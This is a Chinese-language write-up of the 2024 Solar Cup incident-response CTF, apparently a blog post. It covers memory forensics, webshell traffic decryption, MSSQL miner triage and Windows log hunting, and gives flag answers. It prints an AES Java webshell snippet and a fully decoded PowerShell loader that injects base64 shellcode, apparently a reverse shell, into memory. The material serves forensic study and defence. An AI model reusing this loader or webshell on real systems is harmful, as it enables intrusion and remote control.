2024.12.第一届Solar杯应急响应挑战赛

rank:1
在这里插入图片描述

内存取证

内存取证-1

题目文件:SERVER-2008-20241220-162057**
请找到rdp连接的跳板地址
**flag格式 flag{1.1.1.1}

题目中看到是rdp服务,我们知道rdp服务的端口默认为3389

通过命令

python vol.py -f SERVER-2008-20241220-162057.raw windows.netstat

查看到

故flag为flag{192.168.60.220}

内存取证-2

题目文件:SERVER-2008-20241220-162057
请找到攻击者下载黑客工具的IP地址
flag格式 flag{1.1.1.1}

这道题由于vol3在cmdscan时频繁报错,使用volpro一键查询所有命令

得到ip,flag为flag{155.94.204.67}

内存取证-3

题目文件:SERVER-2008-20241220-162057
攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么
flag格式 flag{xxxx}

在查看命令行

python vol.py -f SERVER-2008-20241220-162057.raw windows.cmdline

时发现

通过filescan

python vol.py -f SERVER-2008-20241220-162057.raw windows.filescan

寻找偏移量

导出文件

python vol.py -f SERVER-2008-20241220-162057.raw windows.dumpfiles --physaddr=0x7e4cedd0

看到业务密码

内存取证-4

题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户
flag格式 flag{xxxx}

直接查看注册表看看有什么用户,一个一个交上去试试

python vol.py -f SERVER-2008-20241220-162057.raw windows.registry.printkey

发现有Administrator和ASP.NET两个用户,尝试后ASP.NET正确

内存取证-5

题目文件:SERVER-2008-20241220-162057
请找到攻击者利用跳板rdp登录的时间
flag格式 flag{2024/01/01 00:00:00}

这道题需要将镜像中的security.evtx提取出来


使用官方的事件管理器打开后,查找ASP.NET用户的登录时间(事件id为4624,源ip应该为前面找到的ip)

值得一提的是,由于flag格式问题,flag为flag{2024/12/21 00:15:34}

内存取证-6

题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户的密码哈希值
flag格式 flag{XXXX}

使用命令

python vol.py -f SERVER-2008-20241220-162057.raw windows.hashdump

签到

从给出的邮件头部信息中,我们可以看到以下几条 Received 头:

Received: from mail.da4s8gag.com ([140.143.207.229])

域名:mail.da4s8gag.com

Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])

域名:mail.solar.sec

发件顺序应该从最初的邮件服务器开始,逐步追溯到邮件被传递到的最终服务器。所以,邮件的发件顺序是从 mail.solar.secmail.da4s8gag.com,然后再到 newxmmxszc6-1.qq.com

flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}

日志流量

日志流量-1

题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
flag格式 flag{xxxx}

翻阅文件夹,找到tomcat-wireshark\web\apache-tomcat-9.0.96\work\Catalina\localhost\ROOT\org\apache\jsp\b.java文件疑似木马



 String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0="; String xc="a2550eeab0724a69"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}

 

解密code即为我们需要的flag,而xc将在之后的题目中充当AES的密钥

日志流量-2

题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。
flag格式 flag{xxxx}

在wire.pcap中,筛选http流量

在cyberchef中对流量逐个进行AES解密,密钥为上一问的xc,模式为ECB

这条流量中,找到密文,解密出flag

日志流量-3

题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。
flag格式 flag{xxxx}

由于题目说是上传文件时,所以我们只关注向post传参的情况,在

这条流量中,解密出

一个pdf文件,保存下来打开得到flag

数据库

数据库-1

题目附件:mssql、mssql题-备份数据库
请找到攻击者创建隐藏账户的时间
flag格式 如 flag{2024/01/01 00:00:00}

使用7-zip打开vmdk文件,根据题目描述需要找到创建用户的时间,于是我们去找security.evtx文件。

在Windows\System32\winevt\Logs\路径下

创建用户的事件id为4720

数据库-2

题目附件:mssql、mssql题-备份数据库
请找到恶意文件的名称
flag格式 如 flag{.}

在文件系统里翻一下找到门罗币挖矿程序的名字

数据库-3

题目附件:mssql、mssql题-备份数据库
请找到恶意文件的外联地址
flag格式 如 flag{1.1.1.1}

由上题找到的挖矿程序,矿池地址一般在config.json文件中,打开后找到矿池地址

ping一下拿到ip

数据库-4

题目附件:mssql、mssql题-备份数据库
请修复数据库
flag格式 如 flag{xxxxx}

虽然没做出来,但看加密后的文件大概是将文件前一部分替换掉了,应该可以通过给出的数据库文件结构替换后恢复,工具有D-Recovery For SQL Server

找到主办方的文章

https://blog.csdn.net/solarset/article/details/144318706

数据库-5

题目附件:mssql、mssql题-备份数据库
请提交powershell命令中恶意文件的MD5
flag格式 如 flag{xxxxx}

直接将 powershell 日志拖出来分析

就 45 条 逐条看过去

发现有个命令很可疑

又是 base64 又是 Gzip 的

复制出密文拿 CyberChef 烤一下(得将最后的{0}换成A)

解 base64 和 Gzip 解压后得到

function tWk {
        Param ($k0M, $ybp)
        $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp))
}

function lVhI5 {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,
                [Parameter(Position = 1)] [Type] $nZWM = [Void]
        )

        $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed')
        $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed')

        return $p8dl.CreateType()
}

[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$uKrz = 0
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
        $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null
}

中间又有一串 base64 的密文

复制出来解 base64 再 md5 后包上flag头提交即可

flag{d72000ee7388d7d58960db277a91cc40}

综合应急

综合应急-1

查看每台主机的登录日志,时间最早的即为最先沦陷的主机

在web01的Windows PowerShell.evtx中找到从ip10.0.100.85下载2.exe的记录

web01的Microsoft-Windows-PowerShell%4Operational.evtx中

web01中Microsoft-Windows-PowerShell%4Operational中

web01的Application中可以看到,在执行完2.exe后紧接着执行了SpoolSample.exe

查看几个日志的计算机名称可以找到3个域

找到sql02在沦陷时间附近的登录日志,最早的为

挨个查看secrity日志,查看事件id4720,找到沦陷时间附近的创建用户事件

sql01中

综合应急-2

题目文件:FOG日志

攻击者上传了代理工具,请写出他的最终存放路径

格式为flag{x:\xxxxx\xxxx\xxxxxx}

翻找 web01 的 powershell 日志

能看到这行命令

疑似是从 10.0.100.85 这个 IP 下载 2.exe

2.exe 是恶意文件

所以这个 IP 很大概率和攻击者有关

那么我们在其他的日志里检索这个 IP

在 dc02 的 Sysmon%40perational.extx 日志能找到这个 IP 的记录

后面还跟着一个端口和 socks

根据经验我们可以判断出这可能是在建立连接

而建立连接应该会通过代理工具

但这个搜索软件无法显示检索字段前面的信息

所以我们需要打开日志来找这一段

检索 chisel 就能知道 这就是一款代理工具

在他的 github 上能找到的最新版本正好就是 1.10.1

所以这应该就是我们要找的代理工具

但提交不成功

猜测可能是改名了

但在这个日志中没找到相关的信息

但是我们已经知道他使用的软件了

他如果要改名也会留下痕迹

将在其他日志中爆搜 chisel

在 dc03 的日志中也有

往下追发现在桌面目录下有个333.exe

那么猜测这就是改名后的 chisel

提交正确

flag{C:\Users\Administrator\Desktop\333.exe}

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值